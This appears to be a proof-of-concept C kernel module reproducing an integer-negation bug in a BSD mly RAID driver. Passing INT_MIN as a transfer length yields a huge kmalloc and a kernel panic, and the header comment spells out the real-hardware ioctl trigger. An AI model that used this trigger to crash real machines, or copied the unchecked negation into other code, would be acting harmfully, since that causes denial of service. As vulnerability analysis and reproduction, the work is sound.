DF-3932 / kmallocsink_replica.c
/* * kmallocsink.c - replica of the mly MLYIO_COMMAND size-handling sink. * * mly_user_command (sys/dev/raid/mly/mly.c:2889-2891): * mc->mc_length = (uc->DataTransferLength >= 0) ? * uc->DataTransferLength : -uc->DataTransferLength; * ... * mc->mc_data = kmalloc(mc->mc_length, M_DEVBUF, M_INTWAIT); * * DataTransferLength == INT_MIN (mlyio.h:42: int) negates to itself * (int wrap) -> sign-extends into size_t as 0xFFFFFFFF80000000. * mc_length > 0 is TRUE at that magnitude, so kmalloc(M_INTWAIT) is * entered with ~16EB: * kern_slaballoc.c:942 size >= ZoneLimit -> kmem_slab_alloc(...) * kern_slaballoc.c:1721 vm_map_findspace(kernel_map, ...) fails * kern_slaballoc.c:1724 panic("kmem_slab_alloc(): kernel_map ran * out of space!") * * This module reproduces exactly that call. Trigger on real hardware: * ioctl(open("/dev/mly0", O_RDWR), MLYIO_COMMAND, &uc) with * uc.DataTransferLength = INT_MIN (root-only device, 0600 root:operator). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/systm.h> static int fire_sysctl(SYSCTL_HANDLER_ARGS) { int error, v = 0; size_t sz; void *p; error = sysctl_handle_int(oidp, &v, 0, req); if (error || req->newptr == NULL) return (error); if (v != 1) return (0); static volatile int dtl = -2147483647 - 1; /* INT_MIN */ sz = (size_t)(-dtl); /* mly.c:2889 negation */ kprintf("kmallocsink: kmalloc(0x%016jx, M_DEVBUF, M_INTWAIT) ...\n", (uintmax_t)sz); p = kmalloc(sz, M_DEVBUF, M_INTWAIT); kprintf("kmallocsink: returned %p (NO panic)\n", p); if (p != NULL) kfree(p, M_DEVBUF); return (0); } SYSCTL_PROC(_kern, OID_AUTO, kmallocsink, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fire_sysctl, "I", "mly MLYIO_COMMAND DataTransferLength=INT_MIN sink"); static int kmallocsink_load(struct module *m, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("kmallocsink: loaded\n"); return (0); case MOD_UNLOAD: return (0); } return (0); } static moduledata_t kmallocsink_mod = { "kmallocsink", kmallocsink_load, NULL }; DECLARE_MODULE(kmallocsink, kmallocsink_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |